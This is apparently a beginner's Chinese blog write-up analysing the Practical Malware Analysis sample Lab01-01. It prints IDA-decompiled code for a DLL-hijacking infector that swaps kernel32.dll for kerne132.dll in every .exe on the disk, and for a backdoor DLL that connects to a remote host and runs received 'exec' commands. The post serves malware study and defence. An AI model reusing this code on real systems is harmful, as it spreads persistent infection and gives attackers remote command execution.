新手的恶意代码分析记录(一)_Lab01-01

一、基本信息

样本基本信息:

样本名称:Lab01-01.dll

样本大小:163840 bytes

MD5:290934C61DE9176AD682FFDD65F0A669

样本名称:Lab01-01.exe

样本大小:16384 bytes

MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB

使用cff_Explorer 查看样本基本信息
在这里插入图片描述

在这里插入图片描述

使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。
在这里插入图片描述
在这里插入图片描述

查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll

在这里插入图片描述

KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等

WS2_32.dll:与网络连接相关

MSVCRT.dll:C语言运行库文件

一些相关的函数

Kernel32.dll

Sleep:暂停当前线程的执行

CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。

CreateMutexA:创建或打开命名的或未命名的互斥对象。

OpenMutexA:打开现有的命名互斥对象。

CloseHandle:关闭打开的对象句柄。

查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll

在这里插入图片描述

可以看到是用到了大量的与文件操作的函数。

Kernel32.dll

CloseHandle:关闭打开的对象句柄。

UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。

IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。

MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。

CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象

CreateFileA:创建或打开文件或 i/o 设备。

FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、 
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。

FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。

FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。

CopyFileA:将现有文件复制到新文件。

二、简单的动态分析

使用火绒剑监控该程序,发现并没有什么异常
在这里插入图片描述

三、静态分析

首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。

在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ve4xemjm-1629269114885)(./images/1629110244147-0eb66978-0ce1-4ea5-91cd-bd1e023e3b01.png)]
在这里插入图片描述

Lab01-01.exe 文件详细分析

接下来使用IDA查看Lab01-01.exe这个文件

查看main函数

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  HANDLE v3; // eax
  _DWORD *v4; // esi
  HANDLE v5; // eax
  HANDLE v6; // eax
  const char **v7; // ebp
  _DWORD *v8; // eax
  const char *v9; // esi
  _DWORD *v10; // ebx
  int v11; // ebp
  _DWORD *v12; // eax
  unsigned int v13; // edi
  int v14; // eax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // edi
  char *v19; // ebx
  _DWORD *v20; // eax
  const char **v21; // ecx
  unsigned int v22; // edx
  _DWORD *v23; // ebp
  const char *v24; // edx
  unsigned int v25; // kr08_4
  char *v26; // eax
  char *v27; // ebx
  unsigned int v28; // kr10_4
  bool v29; // cf
  _WORD *v31; // [esp+10h] [ebp-44h]
  unsigned __int16 *v32; // [esp+14h] [ebp-40h]
  _DWORD *v33; // [esp+18h] [ebp-3Ch]
  _DWORD *v34; // [esp+1Ch] [ebp-38h]
  int v35; // [esp+20h] [ebp-34h]
  _DWORD *v36; // [esp+24h] [ebp-30h]
  int v37; // [esp+28h] [ebp-2Ch]
  int i; // [esp+2Ch] [ebp-28h]
  _DWORD *v39; // [esp+30h] [ebp-24h]
  unsigned __int16 *v40; // [esp+34h] [ebp-20h]
  char *v41; // [esp+38h] [ebp-1Ch]
  int v42; // [esp+3Ch] [ebp-18h]
  int v43; // [esp+44h] [ebp-10h]
  int v44; // [esp+48h] [ebp-Ch]
  HANDLE hObject; // [esp+4Ch] [ebp-8h]
  HANDLE v46; // [esp+50h] [ebp-4h]
  int argca; // [esp+58h] [ebp+4h]
  const char **argva; // [esp+5Ch] [ebp+8h]
  const char **argvb; // [esp+5Ch] [ebp+8h]

  if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// 参数2:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
  {
    hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// 创建或打开的文件:C:\Windows\System32\Kernel32.dll
    v3 = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
    v4 = MapViewOfFile(v3, 4u, 0, 0, 0);        // 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
    argca = (int)v4;
    v5 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开的文件:Lab01-01.dll
    v46 = v5;
    if ( v5 == (HANDLE)-1 )
      exit(0);
    v6 = CreateFileMappingA(v5, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
    if ( v6 == (HANDLE)-1 )
      exit(0);
    v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间
    argva = v7;
    if ( !v7 )
      exit(0);
    v41 = (char *)v4 + v4[15];
    v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
    v9 = &v7[15][(_DWORD)v7];
    v10 = v8;
    v36 = v8;
    v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
    v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
    v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
    v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
    v13 = *((_DWORD *)v9 + 31);
    v39 = v12;
    v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
    qmemcpy((void *)v11, v10, v13);
    v42 = v14;
    v15 = v10[5];
    *(_DWORD *)(v11 + 20) = v15;
    *(_DWORD *)(v11 + 24) = v10[6];
    *(_DWORD *)(v11 + 12) = v11 + 40 + v14;
    v35 = v11 + 56;
    strcpy((char *)(v11 + 40), "kerne132.dll");
    v16 = *(_DWORD *)(v11 + 20);
    v17 = v11 + 56 + 4 * v16;
    v18 = v11 + 56 + 8 * v16;
    v44 = v17;
    v43 = v18;
    v19 = (char *)(16 * v15 + v11 + 56);
    *(_DWORD *)(v11 + 28) = v11 + 56 + v14;
    *(_DWORD *)(v11 + 36) = v17 + v14;
    *(_DWORD *)(v11 + 32) = v18 + v14;
    v20 = v36;
    v21 = 0;
    v22 = 0;
    argvb = 0;
    for ( i = 0; v22 < v20[5]; ++v34 )
    {
      if ( *v34 )
      {
        v37 = 0;
        if ( v20[6] )
        {
          v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
          v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
          v33 = v39;
          v32 = v40;
          do
          {
            if ( *v32 == v22 )
            {
              v24 = (const char *)sub_401040(*v33, v41, argca);
              strcpy(v19, v24);
              *v31 = (_WORD)argvb;
              *(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
              v25 = strlen(v24) + 1;
              v26 = &v19[v25];
              v27 = &v19[v25 + 9];
              *v23 = &v26[v42];
              *(_DWORD *)v26 = dword_403070;
              *((_DWORD *)v26 + 1) = dword_403074;
              v26[8] = byte_403078;
              strcpy(v27, v24);
              v28 = strlen(v24) + 1;
              v20 = v36;
              argvb = (const char **)((char *)argvb + 1);
              v22 = i;
              v19 = &v27[v28];
              ++v23;
              ++v31;
            }
            ++v32;
            v29 = (unsigned int)++v37 < v20[6];
            ++v33;
          }
          while ( v29 );
          v21 = argvb;
          v18 = v43;
          v17 = v44;
        }
      }
      i = ++v22;
    }
    CloseHandle(hObject);                       // 关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll
    CloseHandle(v46);                           // 关闭打开的对象句柄 Lab01-01.dll
    if ( !CopyFileA(ExistingFileName, NewFileName, 0) )// 将现有文件复制到新文件  Lab01-01.dll ->>  C:\windows\system32\kerne132.dll
      exit(0);
    sub_4011E0(aC, 0);                          // 递归函数 sub_4011E0
  }
  return 0;
}

通过对主函数进行分析,得出如下结论:

1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:

Lab01-01.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。

接下来查看sub_4011E0函数

int __cdecl sub_4011E0(LPCSTR lpFileName, int a2)
{
  int result; // eax
  const char *v3; // ebp
  HANDLE v4; // esi
  char *v5; // edx
  unsigned int v6; // kr1C_4
  char *v7; // ebp
  HANDLE hFindFile; // [esp+10h] [ebp-144h]
  struct _WIN32_FIND_DATAA FindFileData; // [esp+14h] [ebp-140h] BYREF

  result = a2;
  if ( a2 <= 7 )
  {
    v3 = lpFileName;
    v4 = FindFirstFileA(lpFileName, &FindFileData);// 在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录 :  lpFileName
    hFindFile = v4;
    while ( v4 != (HANDLE)-1 )
    {
      if ( (FindFileData.dwFileAttributes & 0x10) == 0// 文件的文件属性.  0x10  FILE_ATTRIBUTE_DIRECTORY  标识目录 ->>   判断是否为文件目录  不是目录的话 执行下面的流程
        || !strcmp(FindFileData.cFileName, asc_403040)// 文件的名称 .
        || !strcmp(FindFileData.cFileName, asc_40303C) )// 文件的名称  ..
      {
        v6 = strlen(FindFileData.cFileName) + 1;
        v7 = (char *)malloc(strlen(v3) + 1 + strlen(FindFileData.cFileName));
        strcpy(v7, lpFileName);
        v7[strlen(lpFileName) - 1] = 0;
        strcat(v7, FindFileData.cFileName);
        if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) )// 判断文件后缀是否是.exe  如果是exe文件  执行sub_4010A0
          sub_4010A0(v7);
        v3 = lpFileName;
      }
      else
      {
        v5 = (char *)malloc(strlen(v3) + 2 * strlen(FindFileData.cFileName) + 6);
        strcpy(v5, v3);
        v5[strlen(v3) - 1] = 0;
        strcat(v5, FindFileData.cFileName);
        strcat(v5, asc_403038);
        sub_4011E0(v5, a2 + 1);                 // 递归的查找文件
      }
      v4 = hFindFile;
      result = FindNextFileA(hFindFile, &FindFileData);// 从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
      if ( !result )
        return result;
    }
    result = FindClose((HANDLE)0xFFFFFFFF);
  }
  return result;
}

通过对sub_4011E0函数进行分析,得出如下结论:

1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。

sub_4010A0函数

接下来查看sub_4010A0函数

char *__cdecl sub_4010A0(LPCSTR lpFileName)
{
  char *result; // eax
  const void *v2; // esi
  int *v3; // ebp
  int *v4; // edi
  int *i; // edi
  int *v6; // ebx
  _DWORD *v7; // ebp
  const void *v8; // [esp+10h] [ebp-Ch]
  HANDLE hObject; // [esp+14h] [ebp-8h]
  HANDLE v10; // [esp+18h] [ebp-4h]

  v10 = CreateFileA(lpFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开文件或 i/o 设备。  打开查找到的.exe可执行文件
  hObject = CreateFileMappingA(v10, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
  result = (char *)MapViewOfFile(hObject, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间。
  v2 = result;
  v8 = result;
  if ( result )
  {
    v3 = (int *)&result[*((_DWORD *)result + 15)];
    result = (char *)IsBadReadPtr(v3, 4u);      // 验证调用进程是否具有对指定内存范围的读访问权限。
    if ( !result && *v3 == 0x4550 )             // 0x4550 PE头标识
    {
      v4 = (int *)sub_401040(v3[32], (int)v3, (int)v2);
      result = (char *)IsBadReadPtr(v4, 20u);
      if ( !result )
      {
        for ( i = v4 + 3; *(i - 2) || *i; i += 5 )
        {
          v6 = (int *)sub_401040(*i, (int)v3, (int)v2);
          result = (char *)IsBadReadPtr(v6, 0x14u);
          if ( result )
            return result;
          if ( !stricmp((const char *)v6, String2) )// 判断是否为 kernel32.dll 字符串
          {
            qmemcpy(v6, aKerne132Dll, strlen((const char *)v6) + 1);// 字符串拷贝  kernel32.dll ->> kerne132.dll
            v2 = v8;
          }
        }
        v7 = v3 + 52;
        *v7 = 0;
        v7[1] = 0;
        UnmapViewOfFile(v2);                    // 从调用进程的地址空间取消映射文件的映射视图。
        CloseHandle(hObject);                   // 关闭打开的对象句柄。
        result = (char *)CloseHandle(v10);      // 关闭打开的对象句柄
      }
    }
  }
  return result;
}

通过对sub_4010A0函数进行分析,得出如下结论:

1、该函数打开找到的后缀为**.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll**。

初步的结论

通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:

  • 该程序通过新建kerne132.dll文件并将可执行文件的kernel32.dll字符串修改为kerne132.dll字符串,从而修改程序,故猜想后面该可执行文件加载的并不会是kernel32.dll,而会是kerne132.dll文件。

  • 由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要**。**

  • 遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?

Lab01-01.dll 文件详细分析

接下来使用IDA查看Lab01-01.dll这个文件

查看DllMain函数

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  SOCKET v3; // esi
  HANDLE hObject; // [esp+10h] [ebp-11F8h]
  struct sockaddr name; // [esp+14h] [ebp-11F4h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+24h] [ebp-11E4h] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+34h] [ebp-11D4h] BYREF
  struct WSAData WSAData; // [esp+78h] [ebp-1190h] BYREF
  char buf; // [esp+208h] [ebp-1000h] BYREF
  char v11[4092]; // [esp+209h] [ebp-FFFh] BYREF
  __int16 v12; // [esp+1205h] [ebp-3h]
  char v13; // [esp+1207h] [ebp-1h]

  if ( fdwReason == 1 )
  {
    buf = byte_10026054;
    memset(v11, 0, sizeof(v11));
    v12 = 0;
    v13 = 0;
    if ( !OpenMutexA(0x1F0001u, 0, Name) )      // 打开现有的命名互斥对象 ->> 判断互斥体是否存在  SADFHUHF
    {
      CreateMutexA(0, 0, Name);                 // 创建或打开命名的或未命名的互斥对象。 ->> 如果不存在的话 ,创建互斥体
      if ( !WSAStartup(0x202u, &WSAData) )      // 应用程序或DLL调用的第一个Windows Sockets函数。
      {
        v3 = socket(2, 1, 6);
        if ( v3 != -1 )
        {
          name.sa_family = 2;
          *(_DWORD *)&name.sa_data[2] = inet_addr(cp);// 127.26.152.13
          *(_WORD *)name.sa_data = htons(0x50u);// 端口  80
          if ( connect(v3, &name, 16) != -1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                do
                {
                  if ( send(v3, ::buf, strlen(::buf), 0) == -1 || shutdown(v3, 1) == -1 )// send() 系统调用函数,用来发送消息到一个套接字中
                                                // shutdown()函数用于任何类型的套接口禁止接收、禁止发送或禁止收发
                    goto LABEL_15;
                }
                while ( recv(v3, &buf, 4096, 0) <= 0 );
                if ( strncmp(Str1, &buf, 5u) )  // sleep  判断接受到的命令是否为 Sleep  如果不是  跳出  
                                                // 是的话  执行Sleep函数
                  break;
LABEL_10:
                Sleep(0x60000u);
              }
              if ( strncmp(aExec, &buf, 4u) )   // exec  判断命令是否是 exec   如果不是  判断是否为 q
              {
                if ( buf == 'q' )               // q  判断命令是否是 q 如果是 关闭打开的对象句柄  
                {
                  CloseHandle(hObject);         // 关闭打开的对象句柄
                  break;
                }
                goto LABEL_10;
              }
              memset(&StartupInfo, 0, sizeof(StartupInfo));// 命令如果是 exec 执行接下来操作
              StartupInfo.cb = 68;
              CreateProcessA(0, &v11[4], 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);// 创建新的进程 
            }
          }
LABEL_15:
          closesocket(v3);
        }
        WSACleanup();
      }
    }
  }
  return 1;
}

对这个DllMain主函数进行分析,得出如下结论:

  • 首先,该程序会判断互斥体 SADFHUHF 是否存在,如果不存在的话,创建该互斥体,确保同一时间只有这个恶意代码的实例在运行。
  • 之后,在不断的接收数据和发送数据,可以猜想到,这个程序的主要功能就是从一个远程机器接收命令,然后执行不同的操作。
  • 如果接收到的字符串是Sleep 就调用Sleep函数。
  • 如果接受到的命令前四个字节是**exec,**就根据不同的命令创建新的进程。

这个Dll程序大概就分析到这里,总结一下:

通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。

四、动静态调试结合分析

通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。

主要解决刚才遗留下来的一个问题:

在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?
在这里插入图片描述

0x401813处下断点,查看火绒剑监控到的相关信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到有对exe可执行程序修改的痕迹。

使用CFF explorer查看修改后的exe文件信息

在这里插入图片描述
可以看到,可执行文件在加载DLL时,加载的不再是**kernel32.dll,而将会是kerne132.dll ,**而这个dll在加载的时候就会执行后门程序。

接下来看一下kerne132.dll 程序

在这里插入图片描述

在这里插入图片描述

kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。

五、样本相关特征

字符串:

WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

kerne132.dll

SADFHUHF

六、总结与防护建议

该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

walkerrev_ll

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值